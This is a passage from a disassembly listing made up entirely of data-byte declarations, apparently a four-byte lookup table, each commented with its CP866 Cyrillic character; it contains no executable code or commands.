		db 0DBh	; ш
		db  64h	; d
		db  1Eh	;  
		db  8Dh	; █
		db 0DBh	; ш
		db    4	;  
		db  1Eh	;  
		db  8Dh	; █
		db  16h	;  
		db 0C0h	; ю
		db  20h	;  
		db  8Dh	; █
		db  16h	;  
		db 0C0h	; ю
		db  21h	; !
		db  8Dh	; █
		db 0E0h	; Ю
		db  40h	; @
		db    1	;  
		db  8Dh	; █
		db 0E1h	; А
		db    1	;  
		db    2	;  
		db  8Dh	; █
		db 0E1h	; А
		db    1	;  
		db    5	;  
		db  8Dh	; █
		db 0E4h	; Д
		db    4	;  
		db 0B5h	; ╣
		db  8Dh	; █
		db 0E8h	; Х
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db 0E9h	; И
		db  80h	; ─
		db    1	;  
		db  8Dh	; █
		db 0E9h	; И
		db  9Fh	; ÷
		db    2	;  
		db  8Dh	; █
		db 0EEh	; Н
		db    1	;  
		db    2	;  
		db  8Dh	; █
		db  18h	;  
		db  0Ch	;  
		db    2	;  
		db  8Dh	; █
		db  18h	;  
		db    4	;  
		db    1	;  
		db  8Dh	; █
		db 0F1h	; Я
		db  0Ah	;  
		db    4	;  
		db  8Dh	; █
		db 0F1h	; Я
		db  6Bh	; k
		db    2	;  
		db  8Dh	; █
		db 0F1h	; Я
		db    6	;  
		db    4	;  
		db  8Dh	; █
		db 0F2h	; Р
		db    9	;  
		db  64h	; d
		db  8Dh	; █
		db 0F2h	; Р
		db    9	;  
		db  32h	; 2
		db  8Dh	; █
		db 0F4h	; Т
		db  80h	; ─
		db  0Bh	;  
		db  8Dh	; █
		db 0F4h	; Т
		db    7	;  
		db  0Ah	;  
		db  8Dh	; █
		db 0F4h	; Т
		db    7	;  
		db  0Bh	;  
		db  8Dh	; █
		db 0F5h	; У
		db  28h	; (
		db 0DCh	; э
		db  8Dh	; █
		db 0F6h	; Ж
		db    2	;  
		db  73h	; s
		db  8Dh	; █
		db 0F8h	; Ь
		db  80h	; ─
		db    2	;  
		db  8Dh	; █
		db 0FAh	; З
		db    1	;  
		db    5	;  
		db  8Dh	; █
		db 0FAh	; З
		db    1	;  
		db    7	;  
		db  8Dh	; █
		db 0FCh	; Э
		db    1	;  
		db    3	;  
		db  8Dh	; █
		db 0FCh	; Э
		db  96h	; √
		db    4	;  
		db  8Dh	; █
		db 0FEh	; Ч
		db    1	;  
		db  0Bh	;  
		db  8Dh	; █
		db  1Ah	;  
		db  40h	; @
		db    1	;  
		db  8Dh	; █
		db  1Ah	;  
		db  40h	; @
		db    5	;  
		db  8Dh	; █
		db  1Ch	;  
		db    2	;  
		db  13h	;  
		db  8Dh	; █
		db  1Eh	;  
		db  7Dh	; }
		db    8	;  
		db  8Dh	; █
		db  1Eh	;  
		db  42h	; B
		db  87h	; ┤
		db  8Dh	; █
		db  1Fh	;  
		db  6Fh	; o
		db    2	;  
		db  8Dh	; █
		db  20h	;  
		db 0C0h	; ю
		db  11h	;  
		db  8Dh	; █
		db  21h	; !
		db 0D0h	; п
		db  10h	;  
		db  8Dh	; █
		db  22h	; "
		db    1	;  
		db  10h	;  
		db  8Dh	; █
		db  23h	; #
		db    1	;  
		db  10h	;  
		db  8Dh	; █
		db  23h	; #
		db    1	;  
		db  50h	; P
		db  8Dh	; █
		db  25h	; %
		db  0Ah	;  
		db  6Bh	; k
		db  8Dh	; █
		db  25h	; %
		db 0DAh	; з
		db  0Ah	;  
		db  8Dh	; █
		db  26h	; &
		db    2	;  
		db    6	;  
		db  8Dh	; █
		db  26h	; &
		db    2	;  
		db    7	;  
		db  8Dh	; █
		db  27h	; '
		db  0Dh	;  
		db    2	;  
		db  8Dh	; █
		db    4	;  
		db    4	;  
		db  29h	; )
		db  8Dh	; █
		db    4	;  
		db    7	;  
		db    1	;  
		db  8Dh	; █
		db  28h	; (
		db  0Ah	;  
		db  23h	; #
		db  8Dh	; █
		db  29h	; )
		db    1	;  
		db 0FAh	; З
		db  8Dh	; █
		db  2Bh	; +
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db  2Bh	; +
		db  2Ch	; ,
		db  0Ah	;  
		db  8Dh	; █
		db  2Bh	; +
		db    5	;  
		db  28h	; (
		db  8Dh	; █
		db  2Ch	; ,
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db  2Ch	; ,
		db    1	;  
		db    2	;  
		db  8Dh	; █
		db  2Dh	; -
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db  2Dh	; -
		db    5	;  
		db  64h	; d
		db  8Dh	; █
		db  2Eh	; .
		db    8	;  
		db    1	;  
		db  8Dh	; █
		db  2Eh	; .
		db    8	;  
		db  3Ch	; <
		db  8Dh	; █
		db  2Fh	; /
		db  46h	; F
		db    1	;  
		db  8Dh	; █
		db  2Fh	; /
		db  46h	; F
		db  28h	; (
		db  8Dh	; █
		db  30h	; 0
		db    3	;  
		db  11h	;  
		db  8Dh	; █
		db  30h	; 0
		db    3	;  
		db    3	;  
		db  8Dh	; █
		db  30h	; 0
		db    3	;  
		db  33h	; 3
		db  8Dh	; █
		db  31h	; 1
		db 0C1h	; а
		db 0E9h	; И
		db  8Dh	; █
		db    5	;  
		db 0C4h	; д
		db  0Ch	;  
		db  8Dh	; █
		db  32h	; 2
		db 0A1h	; ║
		db  0Bh	;  
		db  8Dh	; █
		db  33h	; 3
		db    8	;  
		db    3	;  
		db  8Dh	; █
		db  33h	; 3
		db    8	;  
		db    4	;  
		db  8Dh	; █
		db  35h	; 5
		db    8	;  
		db    1	;  
		db  8Dh	; █
		db  35h	; 5
		db    8	;  
		db    3	;  
		db  8Dh	; █
		db  36h	; 6
		db    1	;  
		db    3	;  
		db  8Dh	; █
		db  36h	; 6
		db  64h	; d
		db  81h	; │
		db  8Dh	; █
		db  37h	; 7
		db 0C0h	; ю
		db  32h	; 2
		db  8Dh	; █
		db  37h	; 7
		db 0C0h	; ю
		db  33h	; 3
		db  8Dh	; █
		db  38h	; 8
		db  1Fh	;  
		db    2	;  
		db  8Dh	; █
		db  38h	; 8
		db  1Fh	;  
		db    3	;  
		db  8Dh	; █
		db  39h	; 9
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db  39h	; 9
		db    1	;  
		db    6	;  
		db  8Dh	; █
		db  3Ah	; :
		db 0E7h	; Г
		db    9	;  
		db  8Dh	; █
		db    6	;  
		db    1	;  
		db  0Bh	;  
		db  8Dh	; █
		db  3Ch	; <
		db 0A0h	; ═
		db    2	;  
		db  8Dh	; █
		db  3Ch	; <
		db 0A0h	; ═
		db    5	;  
		db  8Dh	; █
		db  3Dh	; =
		db    1	;  
		db  17h	;  
		db  8Dh	; █
		db  3Dh	; =
		db    1	;  
		db  20h	;  
		db  8Dh	; █
		db  3Eh	; >
		db    1	;  
		db    5	;  
		db  8Dh	; █
		db  3Fh	; ?
		db    4	;  
		db  0Ah	;  
		db  8Dh	; █
		db  40h	; @
		db    3	;  
		db  37h	; 7
		db  8Dh	; █
		db  40h	; @
		db    3	;  
		db  54h	; T
		db  8Dh	; █
		db  42h	; B
		db  12h	;  
		db 0C8h	; х
		db  8Dh	; █
		db  45h	; E
		db    1	;  
		db    1	;  
		db  8Dh	; █
		db    7	;  
		db    1	;  
		db  12h	;  
		db  8Dh	; █
		db  47h	; G
		db    1	;  
		db  15h	;  
		db  8Dh	; █
		db  47h	; G
		db    1	;  
		db  16h	;  
		db  8Dh	; █
		db  48h	; H
		db    3	;  
		db  0Ah	;  
		db  8Dh	; █
		db  48h	; H
		db    3	;  
		db  0Ch	;  
		db  8Dh	; █
		db  4Bh	; K
		db    8	;  
		db    1	;  
		db  8Dh	; █
		db  4Dh	; M
		db 0E1h	; А
		db  25h	; %
		db  8Dh	; █
		db  4Fh	; O
		db  80h	; ─
		db    4	;  
		db  8Dh	; █
		db  50h	; P
		db  10h	;  
		db  32h	; 2
		db  8Dh	; █
		db  50h	; P
		db  19h	;  
		db  0Bh	;  
		db  8Dh	; █
		db  50h	; P
		db    8	;  
		db  0Ah	;  
		db  8Dh	; █
		db  52h	; R
		db  10h	;  
		db 0F2h	; Р
		db  8Dh	; █
		db  55h	; U
		db  80h	; ─
		db    1	;  
		db  8Dh	; █
		db  57h	; W
		db  6Eh	; n
		db    2	;  
		db  8Dh	; █
		db  59h	; Y
		db  40h	; @
		db    1	;  
		db  8Dh	; █
		db  59h	; Y
		db  41h	; A
		db    1	;  
		db  8Dh	; █
		db  5Ah	; Z
		db    2	;  
		db    1	;  
		db  8Dh	; █
		db  5Dh	; ]
		db  23h	; #
		db    2	;  
		db  8Dh	; █
		db  63h	; c
		db    1	;  
		db  0Ch	;  
		db  8Dh	; █
		db  63h	; c
		db  9Eh	; ·
		db  4Fh	; O
		db  8Dh	; █
		db  63h	; c
		db    2	;  
		db    2	;  
		db  8Eh	; ▌
		db  66h	; f
		db  1Eh	;  
		db    5	;  
		db  8Eh	; ▌
		db  68h	; h
		db    6	;  
		db    1	;  
		db  8Eh	; ▌
		db  68h	; h
		db  50h	; P
		db    2	;  
		db  8Eh	; ▌
		db  6Bh	; k
		db  86h	; ├
		db    5	;  
		db  8Eh	; ▌
		db  6Ch	; l
		db 0B8h	; ╦
		db  27h	; '
		db  8Eh	; ▌
		db  6Dh	; m
		db    1	;  
		db    4	;  
		db  8Eh	; ▌
		db  6Eh	; n
		db  83h	; ┐
		db    2	;  
		db  8Eh	; ▌
		db  6Eh	; n
		db  83h	; ┐
		db 0FEh	; Ч
		db  8Eh	; ▌
		db  80h	; ─
		db  42h	; B
		db  1Ah	;  
		db  8Eh	; ▌
		db  0Dh	;  
		db  10h	;  
		db    7	;  
		db  8Eh	; ▌
		db  82h	; ┌
		db    1	;  
		db  19h	;  
		db  8Eh	; ▌
		db  84h	; └
		db    1	;  
		db    9	;  
		db  8Eh	; ▌
		db  87h	; ┤
		db    4	;  
		db  0Eh	;  
		db  8Eh	; ▌
		db  89h	; ┴
		db    3	;  
		db    1	;  
		db  8Eh	; ▌
		db  8Bh	; ▀
		db  18h	;  
		db  18h	;  
		db  8Eh	; ▌
		db  0Eh	;  
		db  0Ah	;  
		db 0CDh	; м
		db  8Eh	; ▌
		db  92h	; ▓
		db  27h	; '
		db  1Eh	;  
		db  8Eh	; ▌
		db  93h	; ⌠
		db  0Fh	;  
		db  0Ah	;  
		db  8Eh	; ▌
		db  93h	; ⌠
		db  0Fh	;  
		db    9	;  
		db  8Eh	; ▌
		db  98h	; ≤
		db  3Eh	; >
		db    2	;  
		db  8Eh	; ▌
		db  9Bh	; ⌡
		db 0F8h	; Ь
		db    1	;  
		db  8Eh	; ▌
		db  9Bh	; ⌡
		db  63h	; c
		db    4	;  
		db  8Eh	; ▌
		db  9Ch	; °
		db    1	;  
		db 0DFh	; ъ
		db  8Eh	; ▌
		db  9Eh	; ·
		db    2	;  
		db  0Ah	;  
		db  8Eh	; ▌
		db  9Eh	; ·
		db    2	;  
		db  14h	;  
		db  8Eh	; ▌
		db  9Eh	; ·
		db 0C8h	; х
		db    5	;  
		db  8Eh	; ▌
		db 0A0h	; ═
		db    2	;  
		db  0Bh	;  
		db  8Eh	; ▌
		db 0A5h	; ╔
		db    5	;  
		db    2	;  
		db  8Eh	; ▌
		db 0A5h	; ╔
		db    5	;  
		db    4	;  
		db  8Eh	; ▌
		db 0A9h	; ╘
		db    1	;  
		db  10h	;  
		db  8Eh	; ▌
		db  11h	;  
		db    2	;  
		db  1Eh	;  
		db  8Eh	; ▌
		db 0B1h	; ╠
		db  81h	; │
		db  0Bh	;  
		db  8Eh	; ▌
		db 0B1h	; ╠
		db    2	;  
		db  0Ch	;  
		db  8Eh	; ▌
		db 0C8h	; х
		db  40h	; @
		db  32h	; 2
		db  8Eh	; ▌
		db 0CDh	; м
		db 0D0h	; п
		db  0Dh	;  
		db  8Eh	; ▌
		db 0CDh	; м
		db 0E8h	; Х
		db  0Dh	;  
		db  8Eh	; ▌
		db 0CEh	; н
		db  40h	; @
		db  0Ah	;  
		db  8Eh	; ▌
		db 0CFh	; о
		db  90h	; ░
		db    4	;  
		db  8Eh	; ▌
		db 0CFh	; о
		db  90h	; ░
		db    5	;  
		db  8Eh	; ▌
		db 0D9h	; ы
		db    5	;  
		db    9	;  
		db  8Eh	; ▌
		db  16h	;  
		db 0FAh	; З
		db  4Dh	; M
		db  8Eh	; ▌
		db 0DEh	; ч
		db  7Dh	; }
		db  14h	;  
		db  8Eh	; ▌
		db 0DEh	; ч
		db  7Dh	; }
		db  15h	;  
		db  8Eh	; ▌
		db 0E3h	; Ц
		db  33h	; 3
		db    1	;  
		db  8Eh	; ▌
		db 0E6h	; Ф
		db    1	;  
		db    1	;  
		db  8Eh	; ▌
		db 0E6h	; Ф
		db 0C7h	; г
		db    3	;  
		db  8Eh	; ▌
		db 0E8h	; Х
		db 0BDh	; Ґ
		db    1	;  
		db  8Eh	; ▌
		db 0E9h	; И
		db  0Fh	;  
		db  50h	; P
		db  8Eh	; ▌
		db 0EEh	; Н
		db  40h	; @
		db  47h	; G
		db  8Eh	; ▌
		db 0F0h	; П
		db 0C8h	; х
		db  0Ah	;  
		db  8Eh	; ▌
		db 0F6h	; Ж
		db 0D3h	; с
		db  64h	; d
		db  8Eh	; ▌
		db    3	;  
		db  64h	; d
		db  0Fh	;  
		db  8Eh	; ▌
		db    3	;  
		db  64h	; d
		db 0FEh	; Ч
		db  8Eh	; ▌
		db  20h	;  
		db  64h	; d
		db  0Fh	;  
		db  8Eh	; ▌
		db  27h	; '
		db 0C9h	; и
		db  0Ah	;  
		db  8Eh	; ▌
		db  27h	; '
		db 0C9h	; и
		db  1Eh	;  
		db  8Eh	; ▌
		db  2Ah	; *
		db 0F2h	; Р
		db    1	;  
		db  8Eh	; ▌
		db  33h	; 3
		db    1	;  
		db  34h	; 4
		db  8Eh	; ▌
		db  33h	; 3
		db    1	;  
		db  35h	; 5
		db  8Eh	; ▌
		db  34h	; 4
		db  58h	; X
		db    1	;  
		db  8Eh	; ▌
		db  37h	; 7
		db    1	;  
		db    9	;  
		db  8Eh	; ▌
		db  3Ah	; :
		db  67h	; g
		db    1	;  
		db  8Eh	; ▌
		db  3Ah	; :
		db  67h	; g
		db    2	;  
		db  8Eh	; ▌
		db  3Ch	; <
		db  64h	; d
		db  64h	; d
		db  8Eh	; ▌
		db  40h	; @
		db    1	;  
		db  32h	; 2
		db  8Eh	; ▌
		db  42h	; B
		db    3	;  
		db  64h	; d
		db  8Eh	; ▌
		db  42h	; B
		db    3	;  
		db  65h	; e
		db  8Eh	; ▌
		db  49h	; I
		db  83h	; ┐
		db  27h	; '
		db  8Eh	; ▌
		db  49h	; I
		db  83h	; ┐
		db  28h	; (
		db  8Eh	; ▌
		db  4Ah	; J
		db    1	;  
		db    3	;  
		db  8Eh	; ▌
		db  4Ah	; J
		db    1	;  
		db    4	;  
		db  8Eh	; ▌
		db  4Dh	; M
		db    1	;  
		db    1	;  
		db  8Eh	; ▌
		db  4Dh	; M
		db    1	;  
		db    5	;  
		db  8Eh	; ▌
		db  4Eh	; N
		db  28h	; (
		db    4	;  
		db  8Eh	; ▌
		db  57h	; W
		db    1	;  
		db    4	;  
		db  8Eh	; ▌
		db  59h	; Y
		db    2	;  
		db  15h	;  
		db  8Eh	; ▌
		db  59h	; Y
		db    3	;  
		db  64h	; d
		db  8Eh	; ▌
		db    9	;  
		db    3	;  
		db    3	;  
		db  8Eh	; ▌
		db    9	;  
		db    3	;  
		db    5	;  
		db  8Eh	; ▌
		db  5Ah	; Z
		db  64h	; d
		db  13h	;  
		db  8Eh	; ▌
		db  5Ah	; Z
		db  64h	; d
		db  44h	; D
		db  8Eh	; ▌
		db  5Ch	; \
		db  24h	; $
		db    1	;  
		db  8Eh	; ▌
		db  5Ch	; \
		db  27h	; '
		db  12h	;  
		db  8Eh	; ▌
		db  5Ch	; \
		db  41h	; A
		db  0Fh	;  
		db  8Eh	; ▌
		db  5Eh	; ^
		db  92h	; ▓
		db    2	;  
		db  8Eh	; ▌
		db  63h	; c
		db 0F0h	; П
		db    9	;  
		db  8Fh	; ▐
		db  65h	; e
		db  70h	; p
		db    2	;  
		db  8Fh	; ▐
		db  69h	; i
		db    8	;  
		db    2	;  
		db  8Fh	; ▐
		db  6Ah	; j
		db  33h	; 3
		db  25h	; %
		db  8Fh	; ▐
		db  6Bh	; k
		db 0FDh	; Щ
		db    3	;  
		db  8Fh	; ▐
		db  6Bh	; k
		db 0FDh	; Щ
		db    5	;  
		db  8Fh	; ▐
		db  6Ch	; l
		db  17h	;  
		db    2	;  
		db  8Fh	; ▐
		db  6Eh	; n
		db    1	;  
		db    1	;  
		db  8Fh	; ▐
		db  6Fh	; o
		db  40h	; @
		db 0FEh	; Ч
		db  8Fh	; ▐
		db  6Fh	; o
		db  59h	; Y
		db 0FEh	; Ч
		db  8Fh	; ▐
		db  74h	; t
		db  74h	; t
		db 0FCh	; Э
		db  8Fh	; ▐
		db  75h	; u
		db  0Eh	;  
		db  0Dh	;  
		db  8Fh	; ▐
		db  75h	; u
		db    6	;  
		db  42h	; B
		db  8Fh	; ▐
		db  77h	; w
		db  63h	; c
		db    9	;  
		db  8Fh	; ▐
		db  79h	; y
		db 0FEh	; Ч
		db    1	;  
		db  8Fh	; ▐
		db  7Eh	; ~
		db 0CBh	; к
		db 0FEh	; Ч
		db  8Fh	; ▐
		db  7Eh	; ~
		db 0D3h	; с
		db 0DCh	; э
		db  8Fh	; ▐
		db  80h	; ─
		db  40h	; @
		db    2	;  
		db  8Fh	; ▐
		db  80h	; ─
		db  40h	; @
		db    3	;  
		db  8Fh	; ▐
		db  81h	; │
		db 0C9h	; и
		db 0D2h	; р
		db  8Fh	; ▐
		db  82h	; ┌
		db  10h	;  
		db    8	;  
		db  8Fh	; ▐
		db  84h	; └
		db    1	;  
		db    9	;  
		db  8Fh	; ▐
		db  9Eh	; ·
		db  10h	;  
		db    5	;  
		db  8Fh	; ▐
		db  9Eh	; ·
		db  10h	;  
		db    6	;  
		db  8Fh	; ▐
		db 0A0h	; ═
		db    8	;  
		db 0CDh	; м
		db  8Fh	; ▐
		db 0A1h	; ║
		db 0F8h	; Ь
		db  0Ah	;  
		db  8Fh	; ▐
		db 0A1h	; ║
		db 0F8h	; Ь
		db    2	;  
		db  8Fh	; ▐
		db 0A5h	; ╔
		db 0C9h	; и
		db  50h	; P
		db  8Fh	; ▐
		db 0A6h	; і
		db  52h	; R
		db 0FBh	; Ш
		db  8Fh	; ▐
		db 0A6h	; і
		db  52h	; R
		db 0FCh	; Э
		db  8Fh	; ▐
		db 0A7h	; ї
		db    1	;  
		db  0Bh	;  
		db  8Fh	; ▐
		db 0A7h	; ї
		db    2	;  
		db    2	;  
		db  8Fh	; ▐
		db 0A9h	; ╘
		db  0Ch	;  
		db  63h	; c
		db  8Fh	; ▐
		db 0A9h	; ╘
		db 0FEh	; Ч
		db    1	;  
		db  8Fh	; ▐
		db 0AEh	; ў
		db  10h	;  
		db    7	;  
		db  8Fh	; ▐
		db 0B0h	; ╟
		db 0B0h	; ╟
		db    3	;  
		db  8Fh	; ▐
		db 0B1h	; ╠
		db    1	;  
		db  65h	; e
		db  8Fh	; ▐
		db 0B6h	; І
		db 0F6h	; Ж
		db  18h	;  
		db  8Fh	; ▐
		db 0B6h	; І
		db 0F6h	; Ж
		db  19h	;  
		db  8Fh	; ▐
		db 0B7h	; Ї
		db  98h	; ≤
		db  19h	;  
		db  8Fh	; ▐
		db 0B7h	; Ї
		db  98h	; ≤
		db  1Ah	;  
		db  8Fh	; ▐
		db 0BAh	; ╨
		db  0Bh	;  
		db  46h	; F
		db  8Fh	; ▐
		db 0C0h	; ю
		db    1	;  
		db  67h	; g
		db  8Fh	; ▐
		db 0C3h	; ц
		db    1	;  
		db    3	;  
		db  8Fh	; ▐
		db 0C3h	; ц
		db    1	;  
		db    6	;  
		db  8Fh	; ▐
		db 0C5h	; е
		db 0C8h	; х
		db    1	;  
		db  8Fh	; ▐
		db 0C8h	; х
		db  80h	; ─
		db  96h	; √
		db  8Fh	; ▐
		db 0C8h	; х
		db  80h	; ─
		db  98h	; ≤
		db  8Fh	; ▐
		db 0CDh	; м
		db  40h	; @
		db  33h	; 3
		db  8Fh	; ▐
		db 0CDh	; м
		db  40h	; @
		db  34h	; 4
		db  8Fh	; ▐
		db 0CFh	; о
		db    1	;  
		db    4	;  
		db  8Fh	; ▐
		db 0D2h	; р
		db  0Ch	;  
		db  98h	; ≤
		db  8Fh	; ▐
		db 0D2h	; р
		db  0Ch	;  
		db  9Ah	;  
		db  8Fh	; ▐
		db 0D9h	; ы
		db  64h	; d
		db  42h	; B
		db  8Fh	; ▐
		db 0D9h	; ы
		db  81h	; │
		db  0Ah	;  
		db  8Fh	; ▐
		db 0D9h	; ы
		db  81h	; │
		db  42h	; B
		db  8Fh	; ▐
		db 0DCh	; э
		db    1	;  
		db    4	;  
		db  8Fh	; ▐
		db 0E0h	; Ю
		db 0B9h	; ╧
		db    1	;  
		db  8Fh	; ▐
		db 0E2h	; Б
		db  43h	; C
		db 0CAh	; й
		db  8Fh	; ▐
		db 0E3h	; Ц
		db    1	;  
		db  15h	;  
		db  8Fh	; ▐
		db 0E3h	; Ц
		db  30h	; 0
		db    3	;  
		db  8Fh	; ▐
		db 0E5h	; Е
		db    1	;  
		db    6	;  
		db  8Fh	; ▐
		db 0E7h	; Г
		db    1	;  
		db  43h	; C
		db  8Fh	; ▐
		db 0E7h	; Г
		db 0F9h	; Ы
		db 0C3h	; ц
		db  8Fh	; ▐
		db 0E9h	; И
		db    1	;  
		db    1	;  
		db  8Fh	; ▐
		db 0EAh	; Й
		db  20h	;  
		db  0Dh	;  
		db  8Fh	; ▐
		db 0EAh	; Й
		db  20h	;  
		db    4	;  
		db  8Fh	; ▐
		db 0EBh	; К
		db    2	;  
		db  10h	;  
		db  8Fh	; ▐
		db 0EBh	; К
		db    2	;  
		db    4	;  
		db  8Fh	; ▐
		db 0ECh	; Л
		db    1	;  
		db  0Eh	;  
		db  8Fh	; ▐
		db 0ECh	; Л
		db    1	;  
		db  0Fh	;  
		db  8Fh	; ▐
		db 0EDh	; М
		db    2	;  
		db  3Ah	; :
		db  8Fh	; ▐
		db 0EDh	; М
		db    2	;  
		db  42h	; B
		db  8Fh	; ▐
		db 0EFh	; О
		db    1	;  
		db    1	;  
		db  8Fh	; ▐
		db 0EFh	; О
		db    1	;  
		db  19h	;  
		db  8Fh	; ▐
		db 0F4h	; Т
		db  48h	; H
		db  3Eh	; >
		db  8Fh	; ▐
		db 0F6h	; Ж
		db    0	;  
		db    1	;  
		db  8Fh	; ▐
		db 0F8h	; Ь
		db    1	;  
		db 0B1h	; ╠
		db  8Fh	; ▐
		db 0FAh	; З
		db    3	;  
		db    3	;  
		db  8Fh	; ▐
		db 0FAh	; З
		db    3	;  
		db    4	;  
		db  8Fh	; ▐
		db 0FCh	; Э
		db  50h	; P
		db    3	;  
		db  8Fh	; ▐
		db 0FEh	; Ч
		db    2	;  
		db  14h	;  
		db  8Fh	; ▐
		db 0FEh	; Ч
		db  14h	;  
		db    2	;  
		db  8Fh	; ▐
		db  2Bh	; +
		db  20h	;  
		db  64h	; d
		db  8Fh	; ▐
		db  2Bh	; +
		db  20h	;  
		db  65h	; e
		db  8Fh	; ▐
		db  2Ch	; ,
		db  80h	; ─
		db    1	;  
		db  8Fh	; ▐
		db  30h	; 0
		db    1	;  
		db    1	;  
		db  8Fh	; ▐
		db  32h	; 2
		db  14h	;  
		db  19h	;  
		db  8Fh	; ▐
		db  34h	; 4
		db    2	;  
		db  0Ah	;  
		db  8Fh	; ▐
		db  34h	; 4
		db    2	;  
		db  12h	;  
		db  8Fh	; ▐
		db  34h	; 4
		db  1Ch	;  
		db  0Ah	;  
		db  8Fh	; ▐
		db  35h	; 5
		db 0EEh	; Н
		db    4	;  
		db  8Fh	; ▐
		db  35h	; 5
		db 0EEh	; Н
		db    5	;  
		db  8Fh	; ▐
		db  36h	; 6
		db    1	;  
		db    7	;  
		db  8Fh	; ▐
		db  41h	; A
		db    1	;  
		db    9	;  
		db  8Fh	; ▐
		db  58h	; X
		db    1	;  
		db 0D1h	; я
		db  8Fh	; ▐
		db  58h	; X
		db    1	;  
		db  51h	; Q
		db  8Fh	; ▐
		db  59h	; Y
		db  0Eh	;  
		db    7	;  
		db  8Fh	; ▐
		db  59h	; Y
		db  0Eh	;  
		db    8	;  
		db  8Fh	; ▐
		db  5Ah	; Z
		db  82h	; ┌
		db  16h	;  
		db  8Fh	; ▐
		db  5Ah	; Z
		db  82h	; ┌
		db  26h	; &
		db  8Fh	; ▐
		db  5Ah	; Z
		db  82h	; ┌
		db  39h	; 9
		db  8Fh	; ▐
		db  5Ah	; Z
		db  82h	; ┌
		db  3Ah	; :
		db  8Fh	; ▐
		db  5Ch	; \
		db    1	;  
		db  41h	; A
		db  8Fh	; ▐
		db  5Dh	; ]
		db 0A0h	; ═
		db    9	;  
		db  8Fh	; ▐
		db  60h	; `
		db    8	;  
		db  83h	; ┐
		db  8Fh	; ▐
		db  61h	; a
		db  8Fh	; ▐
		db  19h	;  
		db  8Fh	; ▐
		db  61h	; a
		db  8Fh	; ▐
		db  1Bh	;  
		db  90h	; ░
		db  76h	; v
		db  18h	;  
		db  0Ah	;  
		db  90h	; ░
		db  76h	; v
		db  18h	;  
		db  14h	;  
		db  90h	; ░
		db  78h	; x
		db    8	;  
		db    1	;  
		db  90h	; ░
		db  7Ah	; z
		db 0C7h	; г
		db  5Ah	; Z
		db  90h	; ░
		db  7Ah	; z
		db 0C7h	; г
		db  5Dh	; ]
		db  90h	; ░
		db  7Dh	; }
		db  28h	; (
		db    3	;  
		db  90h	; ░
		db  7Eh	; ~
		db    1	;  
		db  0Ah	;  
		db  90h	; ░
		db  7Eh	; ~
		db  4Bh	; K
		db  12h	;  
		db  90h	; ░
		db  8Dh	; █
		db    1	;  
		db 0F0h	; П
		db  90h	; ░
		db  8Dh	; █
		db 0C2h	; б
		db    5	;  
		db  90h	; ░
		db  8Dh	; █
		db 0C2h	; б
		db    6	;  
		db  90h	; ░
		db  0Fh	;  
		db 0FFh	;  
		db  0Ah	;  
		db  90h	; ░
		db  0Fh	;  
		db 0FFh	;  
		db  0Bh	;  
		db  90h	; ░
		db  10h	;  
		db  40h	; @
		db    3	;  
		db  90h	; ░
		db 0A0h	; ═
		db  14h	;  
		db  21h	; !
		db  90h	; ░
		db 0A0h	; ═
		db  15h	;  
		db  21h	; !
		db  90h	; ░
		db 0A2h	; ╒
		db  0Ah	;  
		db 0E6h	; Ф
		db  90h	; ░
		db 0A6h	; і
		db 0B0h	; ╟
		db 0AFh	; ╞
		db  90h	; ░
		db 0A6h	; і
		db 0B0h	; ╟
		db 0B1h	; ╠
		db  90h	; ░
		db 0A7h	; ї
		db  0Ah	;  
		db  30h	; 0
		db  90h	; ░
		db 0ADh	; ґ
		db    6	;  
		db    6	;  
		db  90h	; ░
		db 0ADh	; ґ
		db    6	;  
		db  47h	; G
		db  90h	; ░
		db 0AEh	; ў
		db  80h	; ─
		db  11h	;  
		db  90h	; ░
		db 0AFh	; ╞
		db    2	;  
		db    8	;  
		db  90h	; ░
		db 0C1h	; а
		db 0F8h	; Ь
		db 0FAh	; З
		db  90h	; ░
		db 0C6h	; ф
		db 0C8h	; х
		db    1	;  
		db  90h	; ░
		db 0C6h	; ф
		db 0E1h	; А
		db  33h	; 3
		db  90h	; ░
		db 0CAh	; й
		db  2Ah	; *
		db    2	;  
		db  90h	; ░
		db 0CBh	; к
		db  0Bh	;  
		db    1	;  
		db  90h	; ░
		db 0CCh	; л
		db  41h	; A
		db    4	;  
		db  90h	; ░
		db 0D3h	; с
		db  64h	; d
		db    1	;  
		db  90h	; ░
		db 0D4h	; т
		db  64h	; d
		db  0Ch	;  
		db  90h	; ░
		db 0D4h	; т
		db    4	;  
		db  0Ah	;  
		db  90h	; ░
		db 0D5h	; у
		db    2	;  
		db  0Ah	;  
		db  90h	; ░
		db 0D6h	; ж
		db    2	;  
		db    1	;  
		db  90h	; ░
		db 0D6h	; ж
		db    5	;  
		db 0FEh	; Ч
		db  90h	; ░
		db 0D7h	; в
		db  72h	; r
		db    3	;  
		db  90h	; ░
		db 0D7h	; в
		db  72h	; r
		db    4	;  
		db  90h	; ░
		db 0D8h	; ь
		db    1	;  
		db    1	;  
		db  90h	; ░
		db 0E4h	; Д
		db 0FEh	; Ч
		db  0Ah	;  
		db  90h	; ░
		db 0E4h	; Д
		db 0FFh	;  
		db  0Ah	;  
		db  90h	; ░
		db 0F3h	; С
		db    4	;  
		db    1	;  
		db  90h	; ░
		db 0FBh	; Ш
		db  0Ah	;  
		db  0Ah	;  
		db  90h	; ░
		db 0FBh	; Ш
		db  0Ch	;  
		db  0Ah	;  
		db  90h	; ░
		db  1Ah	;  
		db  5Eh	; ^
		db 0F1h	; Я
		db  90h	; ░
		db  1Dh	;  
		db    1	;  
		db    2	;  
		db  90h	; ░
		db  1Dh	;  
		db  81h	; │
		db    2	;  
		db  90h	; ░
		db  1Eh	;  
		db    1	;  
		db    4	;  
		db  90h	; ░
		db  20h	;  
		db  80h	; ─
		db    5	;  
		db  90h	; ░
		db  20h	;  
		db  80h	; ─
		db    6	;  
		db  90h	; ░
		db  22h	; "
		db    1	;  
		db    1	;  
		db  90h	; ░
		db  22h	; "
		db    2	;  
		db    1	;  
		db  90h	; ░
		db  25h	; %
		db    1	;  
		db 0FAh	; З
		db  90h	; ░
		db  26h	; &
		db    1	;  
		db    2	;  
		db  90h	; ░
		db  26h	; &
		db    1	;  
		db    3	;  
		db  90h	; ░
		db  2Ah	; *
		db  64h	; d
		db    2	;  
		db  90h	; ░
		db  2Ah	; *
		db  64h	; d
		db    7	;  
		db  90h	; ░
		db  2Ch	; ,
